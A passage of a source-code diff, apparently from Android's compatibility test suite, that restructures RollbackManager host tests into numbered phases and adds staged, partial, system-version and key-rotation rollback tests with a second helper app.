+package android.os.inattentivesleeptests;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class KeepScreenOnActivity extends Activity {
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ }
+}
diff --git a/hostsidetests/rollback/Android.bp b/hostsidetests/rollback/Android.bp
index 817a339..e575302 100644
--- a/hostsidetests/rollback/Android.bp
+++ b/hostsidetests/rollback/Android.bp
@@ -17,7 +17,7 @@
defaults: ["cts_defaults"],
srcs: ["src/**/*.java"],
libs: ["cts-tradefed", "tradefed", "truth-prebuilt"],
- data: [":CtsRollbackManagerHostTestHelperApp"],
+ data: [":CtsRollbackManagerHostTestHelperApp", ":CtsRollbackManagerHostTestHelperApp2"],
test_suites: ["cts", "general-tests"],
}
@@ -27,9 +27,19 @@
static_libs: ["androidx.test.rules", "cts-rollback-lib", "cts-install-lib"],
manifest : "app/AndroidManifest.xml",
java_resources: [
+ ":ApexKeyRotationTestV2_SignedBobRotRollback",
":StagedInstallTestApexV2",
":StagedInstallTestApexV3",
],
sdk_version: "test_current",
test_suites: ["device-tests"],
}
+
+android_test_helper_app {
+ name: "CtsRollbackManagerHostTestHelperApp2",
+ srcs: ["app2/src/**/*.java"],
+ static_libs: ["androidx.test.rules", "cts-rollback-lib", "cts-install-lib"],
+ manifest : "app2/AndroidManifest.xml",
+ sdk_version: "test_current",
+ test_suites: ["device-tests"],
+}
diff --git a/hostsidetests/rollback/AndroidTest.xml b/hostsidetests/rollback/AndroidTest.xml
index 9f0ae07..727dce0 100644
--- a/hostsidetests/rollback/AndroidTest.xml
+++ b/hostsidetests/rollback/AndroidTest.xml
@@ -21,6 +21,13 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsRollbackManagerHostTestHelperApp.apk" />
+ <option name="test-file-name" value="CtsRollbackManagerHostTestHelperApp2.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="svc wifi disable" />
+ <option name="run-command" value="svc data disable" />
+ <option name="teardown-command" value="svc wifi enable" />
+ <option name="teardown-command" value="svc data enable" />
</target_preparer>
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="com.android.cts.rollback.host.RollbackManagerHostTest" />
diff --git a/hostsidetests/rollback/OWNERS b/hostsidetests/rollback/OWNERS
new file mode 100644
index 0000000..e84df8e
--- /dev/null
+++ b/hostsidetests/rollback/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 557916
+ruhler@google.com
+*
\ No newline at end of file
diff --git a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
index 4faa965..5b8a625 100644
--- a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
+++ b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
@@ -21,10 +21,14 @@
import static com.google.common.truth.Truth.assertThat;
import android.Manifest;
+import android.content.Context;
import android.content.pm.PackageInstaller;
import android.content.rollback.RollbackInfo;
+import android.os.storage.StorageManager;
import android.util.Log;
+import androidx.test.platform.app.InstrumentationRegistry;
+
import com.android.cts.install.lib.Install;
import com.android.cts.install.lib.InstallUtils;
import com.android.cts.install.lib.TestApp;
@@ -47,6 +51,9 @@
public class HostTestHelper {
private static final String TAG = "RollbackTest";
+ private static final TestApp Apex2SignedBobRotRollback = new TestApp(
+ "Apex2SignedBobRotRollback", TestApp.Apex, 2, /*isApex*/true,
+ "com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex");
/**
* Adopts common permissions needed to test rollbacks.
@@ -89,6 +96,7 @@
});
Uninstall.packages(TestApp.A);
+ Uninstall.packages(TestApp.B);
}
/**
@@ -96,14 +104,11 @@
* Commits TestApp.A2 as a staged install with rollback enabled.
*/
@Test
- public void testApkOnlyEnableRollback() throws Exception {
+ public void testApkOnlyStagedRollback_Phase1() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
Install.single(TestApp.A1).commit();
Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
-
- // At this point, the host test driver will reboot the device and run
- // testApkOnlyCommitRollback().
}
/**
@@ -112,8 +117,10 @@
* rollback.
*/
@Test
- public void testApkOnlyCommitRollback() throws Exception {
+ public void testApkOnlyStagedRollback_Phase2() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ InstallUtils.processUserData(TestApp.A);
+
RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
assertThat(available).isStaged();
assertThat(available).packagesContainsExactly(
@@ -133,9 +140,6 @@
// and the device has been rebooted.
InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-
- // At this point, the host test driver will reboot the device and run
- // testApkOnlyConfirmRollback().
}
/**
@@ -143,8 +147,9 @@
* Confirms TestApp.A2 was rolled back.
*/
@Test
- public void testApkOnlyConfirmRollback() throws Exception {
+ public void testApkOnlyStagedRollback_Phase3() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ InstallUtils.processUserData(TestApp.A);
RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
assertThat(committed).isStaged();
@@ -155,20 +160,170 @@
}
/**
+ * Test rollbacks of multiple staged installs involving only apks.
+ * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
+ */
+ @Test
+ public void testApkOnlyMultipleStagedRollback_Phase1() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
+
+ Install.single(TestApp.A1).commit();
+ Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
+
+ Install.single(TestApp.B1).commit();
+ Install.single(TestApp.B2).setStaged().setEnableRollback().commit();
+ }
+
+ /**
+ * Test rollbacks of multiple staged installs involving only apks.
+ * Confirms staged rollbacks are available for TestApp.A2 and TestApp.b2, and commits the
+ * rollback.
+ */
+ @Test
+ public void testApkOnlyMultipleStagedRollback_Phase2() throws Exception {
+ // Process TestApp.A
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ InstallUtils.processUserData(TestApp.A);
+ RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
+ assertThat(available).isStaged();
+ assertThat(available).packagesContainsExactly(
+ Rollback.from(TestApp.A2).to(TestApp.A1));
+ assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
+
+ RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+ RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+ assertThat(committed).hasRollbackId(available.getRollbackId());
+ assertThat(committed).isStaged();
+ assertThat(committed).packagesContainsExactly(
+ Rollback.from(TestApp.A2).to(TestApp.A1));
+ assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+ assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+ InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+
+ // Process TestApp.B
+ assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+ InstallUtils.processUserData(TestApp.B);
+ available = RollbackUtils.getAvailableRollback(TestApp.B);
+ assertThat(available).isStaged();
+ assertThat(available).packagesContainsExactly(
+ Rollback.from(TestApp.B2).to(TestApp.B1));
+ assertThat(RollbackUtils.getCommittedRollback(TestApp.B)).isNull();
+
+ RollbackUtils.rollback(available.getRollbackId(), TestApp.B2);
+ committed = RollbackUtils.getCommittedRollback(TestApp.B);
+ assertThat(committed).hasRollbackId(available.getRollbackId());
+ assertThat(committed).isStaged();
+ assertThat(committed).packagesContainsExactly(
+ Rollback.from(TestApp.B2).to(TestApp.B1));
+ assertThat(committed).causePackagesContainsExactly(TestApp.B2);
+ assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+ InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ }
+
+ /**
+ * Test rollbacks of staged installs involving only apks.
+ * Confirms TestApp.A2 and TestApp.B2 was rolled back.
+ */
+ @Test
+ public void testApkOnlyMultipleStagedRollback_Phase3() throws Exception {
+ // Process TestApp.A
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ InstallUtils.processUserData(TestApp.A);
+ RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+ assertThat(committed).isStaged();
+ assertThat(committed).packagesContainsExactly(
+ Rollback.from(TestApp.A2).to(TestApp.A1));
+ assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+ assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+ // Process TestApp.B
+ assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(1);
+ InstallUtils.processUserData(TestApp.B);
+ committed = RollbackUtils.getCommittedRollback(TestApp.B);
+ assertThat(committed).isStaged();
+ assertThat(committed).packagesContainsExactly(
+ Rollback.from(TestApp.B2).to(TestApp.B1));
+ assertThat(committed).causePackagesContainsExactly(TestApp.B2);
+ assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+ }
+
+ /**
+ * Test partial rollbacks of multiple staged installs involving only apks.
+ * Commits TestApp.A2 and TestApp.B2 as a staged install with rollback enabled.
+ */
+ @Test
+ public void testApkOnlyMultipleStagedPartialRollback_Phase1() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
+
+ Install.single(TestApp.A1).commit();
+ Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
+
+ Install.single(TestApp.B1).commit();
+ Install.single(TestApp.B2).setStaged().commit();
+ }
+
+ /**
+ * Test partial rollbacks of multiple staged installs involving only apks.
+ * Confirms staged rollbacks are available for TestApp.A2, and commits the
+ * rollback.
+ */
+ @Test
+ public void testApkOnlyMultipleStagedPartialRollback_Phase2() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ InstallUtils.processUserData(TestApp.A);
+ RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
+ assertThat(available).isStaged();
+ assertThat(available).packagesContainsExactly(
+ Rollback.from(TestApp.A2).to(TestApp.A1));
+ assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
+
+ RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+ RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+ assertThat(committed).hasRollbackId(available.getRollbackId());
+ assertThat(committed).isStaged();
+ assertThat(committed).packagesContainsExactly(
+ Rollback.from(TestApp.A2).to(TestApp.A1));
+ assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+ assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+ InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ }
+
+ /**
+ * Test partial rollbacks of staged installs involving only apks.
+ * Confirms TestApp.A2 was rolled back.
+ */
+ @Test
+ public void testApkOnlyMultipleStagedPartialRollback_Phase3() throws Exception {
+ // Process TestApp.A
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ InstallUtils.processUserData(TestApp.A);
+ RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+ assertThat(committed).isStaged();
+ assertThat(committed).packagesContainsExactly(
+ Rollback.from(TestApp.A2).to(TestApp.A1));
+ assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+ assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+ // Process TestApp.B
+ assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+ }
+
+ /**
* Test rollbacks of staged installs involving only apex.
* Install first version phase.
*
- * <p> We can't rollback to version 1, which is already installed, so we start by installing
- * version 2. The test ultimately rolls back from 3 to 2.
+ * <p> We start by installing version 2. The test ultimately rolls back from 3 to 2.
*/
@Test
- public void testApexOnlyInstallFirstVersion() throws Exception {
+ public void testApexOnlyStagedRollback_Phase1() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
Install.single(TestApp.Apex2).setStaged().commit();
-
- // At this point, the host test driver will reboot the device and run
- // testApexOnlyEnableRollback().
}
/**
@@ -176,12 +331,9 @@
* Enable rollback phase.
*/
@Test
- public void testApexOnlyEnableRollback() throws Exception {
+ public void testApexOnlyStagedRollback_Phase2() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
Install.single(TestApp.Apex3).setStaged().setEnableRollback().commit();
-
- // At this point, the host test driver will reboot the device and run
- // testApexOnlyCommitRollback().
}
/**
@@ -189,7 +341,7 @@
* Commit rollback phase.
*/
@Test
- public void testApexOnlyCommitRollback() throws Exception {
+ public void testApexOnlyStagedRollback_Phase3() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
assertThat(available).isStaged();
@@ -209,9 +361,6 @@
// and the device has been rebooted.
InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-
- // At this point, the host test driver will reboot the device and run
- // testApexOnlyConfirmRollback().
}
/**
@@ -219,32 +368,61 @@
* Confirm rollback phase.
*/
@Test
- public void testApexOnlyConfirmRollback() throws Exception {
+ public void testApexOnlyStagedRollback_Phase4() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
// Rollback data for shim apex will remain in storage since the apex cannot be completely
// removed and thus the rollback data won't be expired. Unfortunately, we can't also delete
// the rollback data manually from storage.
-
- // At this point, the host test driver will reboot the device to complete the uninstall.
}
+ /**
+ * Test rollback to system version involving apex only
+ */
+ @Test
+ public void testApexOnlySystemVersionStagedRollback_Phase1() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
+ }
+
+ @Test
+ public void testApexOnlySystemVersionStagedRollback_Phase2() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
+ assertThat(available).isStaged();
+ assertThat(available).packagesContainsExactly(
+ Rollback.from(TestApp.Apex2).to(TestApp.Apex1));
+
+ RollbackUtils.rollback(available.getRollbackId(), TestApp.Apex2);
+ RollbackInfo committed = RollbackUtils.getCommittedRollbackById(available.getRollbackId());
+ assertThat(committed).isNotNull();
+ assertThat(committed).isStaged();
+ assertThat(committed).packagesContainsExactly(
+ Rollback.from(TestApp.Apex2).to(TestApp.Apex1));
+ assertThat(committed).causePackagesContainsExactly(TestApp.Apex2);
+ assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+ // Note: The app is not rolled back until after the rollback is staged
+ // and the device has been rebooted.
+ InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ }
+
+ @Test
+ public void testApexOnlySystemVersionStagedRollback_Phase3() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ }
/**
* Test rollbacks of staged installs involving apex and apk.
* Install first version phase.
- *
- * <p> See {@link #testApexOnlyInstallFirstVersion()}
*/
@Test
- public void testApexAndApkInstallFirstVersion() throws Exception {
+ public void testApexAndApkStagedRollback_Phase1() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
Install.multi(TestApp.Apex2, TestApp.A1).setStaged().commit();
-
- // At this point, the host test driver will reboot the device and run
- // testApexOnlyEnableRollback().
}
/**
@@ -252,13 +430,10 @@
* Enable rollback phase.
*/
@Test
- public void testApexAndApkEnableRollback() throws Exception {
+ public void testApexAndApkStagedRollback_Phase2() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
Install.multi(TestApp.Apex3, TestApp.A2).setStaged().setEnableRollback().commit();
-
- // At this point, the host test driver will reboot the device and run
- // testApexOnlyCommitRollback().
}
/**
@@ -266,9 +441,11 @@
* Commit rollback phase.
*/
@Test
- public void testApexAndApkCommitRollback() throws Exception {
+ public void testApexAndApkStagedRollback_Phase3() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ InstallUtils.processUserData(TestApp.A);
+
RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
assertThat(available).isStaged();
assertThat(available).packagesContainsExactly(
@@ -290,9 +467,6 @@
InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-
- // At this point, the host test driver will reboot the device and run
- // testApexOnlyConfirmRollback().
}
/**
@@ -300,8 +474,10 @@
* Confirm rollback phase.
*/
@Test
- public void testApexAndApkConfirmRollback() throws Exception {
+ public void testApexAndApkStagedRollback_Phase4() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ InstallUtils.processUserData(TestApp.A);
RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
assertThat(committed).isStaged();
@@ -314,8 +490,6 @@
// Rollback data for shim apex will remain in storage since the apex cannot be completely
// removed and thus the rollback data won't be expired. Unfortunately, we can't also delete
// the rollback data manually from storage due to SEPolicy rules.
-
- // At this point, the host test driver will reboot the device to complete the uninstall.
}
/**
@@ -323,13 +497,10 @@
* Enable rollback phase.
*/
@Test
- public void testApexRollbackExpirationEnableRollback() throws Exception {
+ public void testApexRollbackExpiration_Phase1() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
-
- // At this point, the host test driver will reboot the device and run
- // testApexRollbackExpirationUpdateApex().
}
/**
@@ -337,13 +508,10 @@
* Update apex phase.
*/
@Test
- public void testApexRollbackExpirationUpdateApex() throws Exception {
+ public void testApexRollbackExpiration_Phase2() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
assertThat(RollbackUtils.getAvailableRollback(TestApp.Apex)).isNotNull();
Install.single(TestApp.Apex3).setStaged().commit();
-
- // At this point, the host test driver will reboot the device and run
- // testApexRollbackExpirationConfirmExpiration().
}
/**
@@ -351,8 +519,58 @@
* Confirm expiration phase.
*/
@Test
- public void testApexRollbackExpirationConfirmExpiration() throws Exception {
+ public void testApexRollbackExpiration_Phase3() throws Exception {
assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
assertThat(RollbackUtils.getAvailableRollback(TestApp.Apex)).isNull();
}
+
+ /**
+ * Test rollback with key downgrade for apex only
+ */
+ @Test
+ public void testApexKeyRotationStagedRollback_Phase1() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ Install.single(Apex2SignedBobRotRollback).setStaged().setEnableRollback().commit();
+ }
+
+ @Test
+ public void testApexKeyRotationStagedRollback_Phase2() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
+ assertThat(available).isStaged();
+ assertThat(available).packagesContainsExactly(
+ Rollback.from(Apex2SignedBobRotRollback).to(TestApp.Apex1));
+
+ RollbackUtils.rollback(available.getRollbackId(), Apex2SignedBobRotRollback);
+ RollbackInfo committed = RollbackUtils.getCommittedRollbackById(available.getRollbackId());
+ assertThat(committed).isNotNull();
+ assertThat(committed).isStaged();
+ assertThat(committed).packagesContainsExactly(
+ Rollback.from(Apex2SignedBobRotRollback).to(TestApp.Apex1));
+ assertThat(committed).causePackagesContainsExactly(Apex2SignedBobRotRollback);
+ assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+ // Note: The app is not rolled back until after the rollback is staged
+ // and the device has been rebooted.
+ InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ }
+
+ @Test
+ public void testApexKeyRotationStagedRollback_Phase3() throws Exception {
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ }
+
+ @Test
+ public void testApkRollbackByAnotherInstaller_Phase1() throws Exception {
+ Install.single(TestApp.A1).commit();
+ Install.single(TestApp.A2).setEnableRollback().commit();
+ }
+
+ @Test
+ public void isCheckpointSupported() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ StorageManager sm = (StorageManager) context.getSystemService(Context.STORAGE_SERVICE);
+ assertThat(sm.isCheckpointSupported()).isTrue();
+ }
}
diff --git a/hostsidetests/rollback/app2/AndroidManifest.xml b/hostsidetests/rollback/app2/AndroidManifest.xml
new file mode 100644
index 0000000..be6d483
--- /dev/null
+++ b/hostsidetests/rollback/app2/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.rollback.host.app2" >
+
+ <application>
+ <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
+ android:exported="true" />
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.rollback.host.app2"
+ android:label="Helper for CTS host tests of RollbackManager"/>
+
+</manifest>
diff --git a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
new file mode 100644
index 0000000..8f8bfac
--- /dev/null
+++ b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rollback.host.app2;
+
+import static com.android.cts.rollback.lib.RollbackInfoSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.rollback.RollbackInfo;
+
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.rollback.lib.Rollback;
+import com.android.cts.rollback.lib.RollbackUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.IOException;
+
+/**
+ * On-device helper test methods used for host-driven rollback tests.
+ */
+@RunWith(JUnit4.class)
+public class HostTestHelper {
+ /**
+ * Adopts common permissions needed to test rollbacks.
+ */
+ @Before
+ public void setup() throws InterruptedException, IOException {
+ InstallUtils.adoptShellPermissionIdentity(
+ Manifest.permission.INSTALL_PACKAGES,
+ Manifest.permission.DELETE_PACKAGES,
+ Manifest.permission.TEST_MANAGE_ROLLBACKS);
+ }
+
+ /**
+ * Drops adopted shell permissions.
+ */
+ @After
+ public void teardown() throws InterruptedException, IOException {
+ InstallUtils.dropShellPermissionIdentity();
+ }
+
+ @Test
+ public void testApkRollbackByAnotherInstaller_Phase2() throws Exception {
+ RollbackInfo rollbackA = RollbackUtils.waitForAvailableRollback(TestApp.A);
+ assertThat(rollbackA).packagesContainsExactly(Rollback.from(TestApp.A2).to(TestApp.A1));
+ RollbackUtils.rollback(rollbackA.getRollbackId());
+ // TODO(b/127452064): fix the rollback bug and enable the assertion
+ // Rollback should fail since TestApp.A is installed by another installer.
+ // assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ }
+}
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 942ee22..ee3c1e3 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -20,6 +20,7 @@
import static org.junit.Assume.assumeTrue;
+import com.android.ddmlib.Log;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -36,6 +37,8 @@
@RunWith(DeviceJUnit4ClassRunner.class)
public class RollbackManagerHostTest extends BaseHostJUnit4Test {
+ private static final String TAG = "RollbackManagerHostTest";
+
private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
/**
@@ -51,6 +54,16 @@
}
/**
+ * Runs the helper app test method on device targeted for
+ * com.android.cts.rollback.host.app2.HostTestHelper.
+ */
+ private void run2(String method) throws Exception {
+ assertThat(runDeviceTests("com.android.cts.rollback.host.app2",
+ "com.android.cts.rollback.host.app2.HostTestHelper",
+ method)).isTrue();
+ }
+
+ /**
* Return {@code true} if and only if device supports updating apex.
*/
private boolean isApexUpdateSupported() throws Exception {
@@ -68,17 +81,16 @@
// Device doesn't support updating apex. Nothing to uninstall.
return;
}
- final ITestDevice.ApexInfo shimApex = getShimApex();
- if (shimApex.versionCode == 1) {
- // System version is active, skipping uninstalling active apex and rebooting the device.
- return;
+
+ if (getShimApex().sourceDir.startsWith("/data")) {
+ final String errorMessage = getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
+ if (errorMessage == null) {
+ Log.i(TAG, "Uninstalling shim apex");
+ getDevice().reboot();
+ } else {
+ Log.e(TAG, "Failed to uninstall shim APEX : " + errorMessage);
+ }
}
- // Non system version is active, need to uninstall it and reboot the device.
- final String errorMessage = getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
- if (errorMessage != null) {
- throw new AssertionError("Failed to uninstall " + shimApex);
- }
- getDevice().reboot();
assertThat(getShimApex().versionCode).isEqualTo(1L);
}
@@ -91,6 +103,15 @@
() -> new AssertionError("Can't find " + SHIM_APEX_PACKAGE_NAME));
}
+ private boolean isCheckpointSupported() throws Exception {
+ try {
+ run("isCheckpointSupported");
+ return true;
+ } catch (AssertionError ignore) {
+ return false;
+ }
+ }
+
/**
* Uninstalls any version greater than 1 of shim apex and reboots the device if necessary
* to complete the uninstall.
@@ -111,11 +132,37 @@
*/
@Test
public void testApkOnlyStagedRollback() throws Exception {
- run("testApkOnlyEnableRollback");
+ run("testApkOnlyStagedRollback_Phase1");
getDevice().reboot();
- run("testApkOnlyCommitRollback");
+ run("testApkOnlyStagedRollback_Phase2");
getDevice().reboot();
- run("testApkOnlyConfirmRollback");
+ run("testApkOnlyStagedRollback_Phase3");
+ }
+
+ /**
+ * Tests multiple staged rollbacks involving only apks.
+ */
+ @Test
+ public void testApkOnlyMultipleStagedRollback() throws Exception {
+ assumeTrue(isCheckpointSupported());
+ run("testApkOnlyMultipleStagedRollback_Phase1");
+ getDevice().reboot();
+ run("testApkOnlyMultipleStagedRollback_Phase2");
+ getDevice().reboot();
+ run("testApkOnlyMultipleStagedRollback_Phase3");
+ }
+
+ /**
+ * Tests multiple staged partial rollbacks involving only apks.
+ */
+ @Test
+ public void testApkOnlyMultipleStagedPartialRollback() throws Exception {
+ assumeTrue(isCheckpointSupported());
+ run("testApkOnlyMultipleStagedPartialRollback_Phase1");
+ getDevice().reboot();
+ run("testApkOnlyMultipleStagedPartialRollback_Phase2");
+ getDevice().reboot();
+ run("testApkOnlyMultipleStagedPartialRollback_Phase3");
}
/**
@@ -125,29 +172,43 @@
public void testApexOnlyStagedRollback() throws Exception {
assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
- run("testApexOnlyInstallFirstVersion");
+ run("testApexOnlyStagedRollback_Phase1");
getDevice().reboot();
- run("testApexOnlyEnableRollback");
+ run("testApexOnlyStagedRollback_Phase2");
